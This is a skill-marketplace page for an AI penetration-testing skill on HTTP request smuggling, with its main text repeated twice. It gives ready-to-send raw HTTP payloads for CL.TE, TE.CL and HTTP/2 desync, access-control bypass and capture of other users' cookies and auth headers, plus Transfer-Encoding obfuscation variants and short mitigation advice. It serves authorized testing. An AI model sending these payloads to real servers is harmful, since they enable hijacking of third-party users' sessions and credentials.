菜单
HTTP request smuggling testing covering CL.TE, TE.CL, H2.CL, H2.TE, and HTTP/2 desync techniques with practical detection and exploitation methodology
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
Authorized AI penetration testing assistant for web applications, APIs, and infrastructure. Performs reconnaissance, vulnerability assessment, PoC validation, exploit chaining, and professional reporting. Use when the user asks for pentest, penetration test, security assessment, vulnerability scan, bug bounty research, authorized hacking, SQLi/XSS/IDOR/SSRF testing, API security audit, or exploit validation.
Authorized AI penetration testing for web apps, APIs, cloud, and infrastructure. Full kill-chain methodology with PoC validation, vulnerability chaining, and professional reporting. Triggers on: pentest, penetration test, security assessment, vuln scan, bug bounty, red team, authorized hack, SQL injection test, XSS test, IDOR, SSRF, API security, exploit validation, security audit.
Authorized AI penetration testing assistant — full-spectrum security testing with deep exploitation skills and integrated tooling. Use for web app pentests, API security, vuln validation, PoC development, bug bounty, and security assessments. Triggers on pentest, penetration test, security audit, exploit, SQLi, XSS, IDOR, SSRF.
API安全测试的专业技能和方法论
JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation
AWS cloud security testing covering IAM misconfigurations, S3 exposure, metadata abuse, and privilege escalation paths
基于 SOC 职业分类
| name | http-request-smuggling-testing |
| description | HTTP request smuggling testing covering CL.TE, TE.CL, H2.CL, H2.TE, and HTTP/2 desync techniques with practical detection and exploitation methodology |
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
HTTP request smuggling (HRS) exploits disagreements between a front-end proxy and a back-end server about where one HTTP request ends and the next begins. When the two systems parse Content-Length and Transfer-Encoding headers differently, an attacker can prefix a hidden request to the back-end's socket, which is then prepended to the next legitimate user's request. The impact ranges from bypassing front-end security controls to full cross-user session hijacking.
Infrastructure Topologies
HTTP Versions in Play
Parser Differentials
Content-Length headersTransfer-Encoding: chunked when Content-Length is also presentFront-end reads Content-Length: X bytes and forwards. Back-end reads until the 0\r\n\r\n chunk terminator. Attacker appends a hidden request after the 0 terminator that the front-end considers part of the same body but the back-end treats as a new request.
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
G
The G is left in the back-end's socket buffer and prepended to the next request.
Front-end reads chunked body to completion. Back-end reads only Content-Length bytes, leaving the remainder on the socket.
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
HTTP/2 has no Content-Length vs TE ambiguity in its own framing. But when the front-end downgrades to HTTP/1.1 for the back-end, an attacker can inject a content-length header in the HTTP/2 request that conflicts with the actual body length. Note: content-length is a regular HTTP/2 header — pseudo-headers are exclusively :method, :path, :authority, and :scheme:
:method POST
:path /
:authority target.com
content-type application/x-www-form-urlencoded
content-length: 0
SMUGGLED_PREFIX
Inject transfer-encoding: chunked in HTTP/2 headers (which the HTTP/2 spec forbids, but some front-ends pass through). Back-end receives both headers, may prefer TE over CL.
:method POST
:path /
transfer-encoding: chunked
0
SMUGGLED
A front-end proxy enforces authentication or IP restriction by checking request headers and blocking or allowing based on rules. If a smuggled prefix bypasses the front-end (because it's buried in a prior request's body from the front-end's view), the back-end processes it without the security check.
PoC structure (CL.TE):
POST /not-restricted HTTP/1.1
Host: target.com
Content-Length: 100
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
X-Forwarded-Host: target.com
Content-Length: 10
x=1
The GET /admin is seen by the back-end as a new, legitimate request originating from the trusted proxy IP.
Poison the back-end socket with a partial request prefix that captures the next victim user's request (including their cookies, tokens, request body) into the response of a controlled endpoint (search, comment submission).
PoC structure (CL.TE capture):
POST /search HTTP/1.1
Host: target.com
Content-Length: 120
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
q=
Content-Length: 100 in the smuggled prefix is longer than the actual smuggled body, so the back-end waits for 100 bytes — which it sources from the next user's request. The /search endpoint reflects the query, capturing headers and body of the subsequent request.
On pipelined connections, cause a misaligned response to be delivered to the wrong user (HTTP/1.1 response queue poisoning). Used to deliver attacker-controlled content or steal another user's response.
Smuggle a prefix that hits a cacheable endpoint with an injected Host header. If the cache stores the response keyed only on URL, the poisoned response is served to all users requesting that URL.
If the proxy performs WebSocket upgrade, a smuggled Upgrade request can hijack an existing WebSocket connection from a subsequent user.
CL.TE: Send a request where Content-Length is complete but Transfer-Encoding body is missing the 0\r\n\r\n terminator. A CL.TE-vulnerable back-end waits for the terminator, causing a timeout.
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 6
3
abc
X
If response is delayed 10–30 seconds, CL.TE desync likely.
TE.CL: Send a request with a complete chunked body (including the 0\r\n\r\n terminator so the front-end is satisfied) but with Content-Length set to more bytes than the body actually provides. The back-end, using Content-Length, waits for the remaining bytes that never arrive — producing a 10–30 second timeout. Setting Content-Length less than the body causes socket poisoning (differential-response detection), not a timeout.
Send two requests in sequence. If the second request receives an unexpected response (error, redirect, wrong content), the first may have poisoned the socket. Use a unique string in the smuggled prefix to confirm.
Transfer-Encoding: xchunked # non-standard value, some FE ignore, BE accept
Transfer-Encoding: chunked # leading space before value (0x20 byte after colon+space)
Transfer-Encoding: chunked # tab character before value
Transfer-Encoding: x
Transfer-Encoding: chunked # duplicate TE headers, BE uses last
To force TE disagreement:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked # space before colon
X: X<CRLF>Transfer-Encoding: chunked # header injection — inject actual CRLF bytes at <CRLF>, not the literal string \r\n
Transfer-Encoding: chunked<CRLF>Transfer-Encoding: x # TE twice — inject actual CRLF bytes at <CRLF>
content-length regular header that differs from the actual body lengthtransfer-encoding: chunked in HTTP/2 headers (spec-forbidden but sometimes passed through)GET /admin or restricted endpoint and observe if back-end accepts it/admin and receive a 200 response where a direct request returns 403Cookie or Authorization header appearing in the response of a controlled endpointTransfer-Encoding: xchunked works on many Apache/IIS back-endsContent-Length from the content-length regular header sent in the HTTP/2 request (not a pseudo-header — inject it as a normal header field)Content-Length in the smuggled prefix larger than your partial body by 50–100 bytes to catch a full auth header from the next userHTTP request smuggling is eliminated by enforcing consistent TE/CL interpretation at every hop in the proxy chain, preferring end-to-end HTTP/2, and having back-end servers reject or normalize ambiguous requests. At the proxy level, never forward TE headers that were not present in the original request, and treat conflicting CL + TE as a hard error.
penkit51 AI — professional penetration testing skill pack. Authorized testing only.
HTTP request smuggling (HRS) exploits disagreements between a front-end proxy and a back-end server about where one HTTP request ends and the next begins. When the two systems parse Content-Length and Transfer-Encoding headers differently, an attacker can prefix a hidden request to the back-end's socket, which is then prepended to the next legitimate user's request. The impact ranges from bypassing front-end security controls to full cross-user session hijacking.
Infrastructure Topologies
HTTP Versions in Play
Parser Differentials
Content-Length headersTransfer-Encoding: chunked when Content-Length is also presentFront-end reads Content-Length: X bytes and forwards. Back-end reads until the 0\r\n\r\n chunk terminator. Attacker appends a hidden request after the 0 terminator that the front-end considers part of the same body but the back-end treats as a new request.
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
G
The G is left in the back-end's socket buffer and prepended to the next request.
Front-end reads chunked body to completion. Back-end reads only Content-Length bytes, leaving the remainder on the socket.
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
HTTP/2 has no Content-Length vs TE ambiguity in its own framing. But when the front-end downgrades to HTTP/1.1 for the back-end, an attacker can inject a content-length header in the HTTP/2 request that conflicts with the actual body length. Note: content-length is a regular HTTP/2 header — pseudo-headers are exclusively :method, :path, :authority, and :scheme:
:method POST
:path /
:authority target.com
content-type application/x-www-form-urlencoded
content-length: 0
SMUGGLED_PREFIX
Inject transfer-encoding: chunked in HTTP/2 headers (which the HTTP/2 spec forbids, but some front-ends pass through). Back-end receives both headers, may prefer TE over CL.
:method POST
:path /
transfer-encoding: chunked
0
SMUGGLED
A front-end proxy enforces authentication or IP restriction by checking request headers and blocking or allowing based on rules. If a smuggled prefix bypasses the front-end (because it's buried in a prior request's body from the front-end's view), the back-end processes it without the security check.
PoC structure (CL.TE):
POST /not-restricted HTTP/1.1
Host: target.com
Content-Length: 100
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
X-Forwarded-Host: target.com
Content-Length: 10
x=1
The GET /admin is seen by the back-end as a new, legitimate request originating from the trusted proxy IP.
Poison the back-end socket with a partial request prefix that captures the next victim user's request (including their cookies, tokens, request body) into the response of a controlled endpoint (search, comment submission).
PoC structure (CL.TE capture):
POST /search HTTP/1.1
Host: target.com
Content-Length: 120
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
q=
Content-Length: 100 in the smuggled prefix is longer than the actual smuggled body, so the back-end waits for 100 bytes — which it sources from the next user's request. The /search endpoint reflects the query, capturing headers and body of the subsequent request.
On pipelined connections, cause a misaligned response to be delivered to the wrong user (HTTP/1.1 response queue poisoning). Used to deliver attacker-controlled content or steal another user's response.
Smuggle a prefix that hits a cacheable endpoint with an injected Host header. If the cache stores the response keyed only on URL, the poisoned response is served to all users requesting that URL.
If the proxy performs WebSocket upgrade, a smuggled Upgrade request can hijack an existing WebSocket connection from a subsequent user.
CL.TE: Send a request where Content-Length is complete but Transfer-Encoding body is missing the 0\r\n\r\n terminator. A CL.TE-vulnerable back-end waits for the terminator, causing a timeout.
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 6
3
abc
X
If response is delayed 10–30 seconds, CL.TE desync likely.
TE.CL: Send a request with a complete chunked body (including the 0\r\n\r\n terminator so the front-end is satisfied) but with Content-Length set to more bytes than the body actually provides. The back-end, using Content-Length, waits for the remaining bytes that never arrive — producing a 10–30 second timeout. Setting Content-Length less than the body causes socket poisoning (differential-response detection), not a timeout.
Send two requests in sequence. If the second request receives an unexpected response (error, redirect, wrong content), the first may have poisoned the socket. Use a unique string in the smuggled prefix to confirm.
Transfer-Encoding: xchunked # non-standard value, some FE ignore, BE accept
Transfer-Encoding: chunked # leading space before value (0x20 byte after colon+space)
Transfer-Encoding: chunked # tab character before value
Transfer-Encoding: x
Transfer-Encoding: chunked # duplicate TE headers, BE uses last
To force TE disagreement:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked # space before colon
X: X<CRLF>Transfer-Encoding: chunked # header injection — inject actual CRLF bytes at <CRLF>, not the literal string \r\n
Transfer-Encoding: chunked<CRLF>Transfer-Encoding: x # TE twice — inject actual CRLF bytes at <CRLF>
content-length regular header that differs from the actual body lengthtransfer-encoding: chunked in HTTP/2 headers (spec-forbidden but sometimes passed through)GET /admin or restricted endpoint and observe if back-end accepts it/admin and receive a 200 response where a direct request returns 403Cookie or Authorization header appearing in the response of a controlled endpointTransfer-Encoding: xchunked works on many Apache/IIS back-endsContent-Length from the content-length regular header sent in the HTTP/2 request (not a pseudo-header — inject it as a normal header field)Content-Length in the smuggled prefix larger than your partial body by 50–100 bytes to catch a full auth header from the next userHTTP request smuggling is eliminated by enforcing consistent TE/CL interpretation at every hop in the proxy chain, preferring end-to-end HTTP/2, and having back-end servers reject or normalize ambiguous requests. At the proxy level, never forward TE headers that were not present in the original request, and treat conflicting CL + TE as a hard error.
record_vulnerability when running inside the penkit51 platformrecord_vulnerability when running inside the penkit51 platform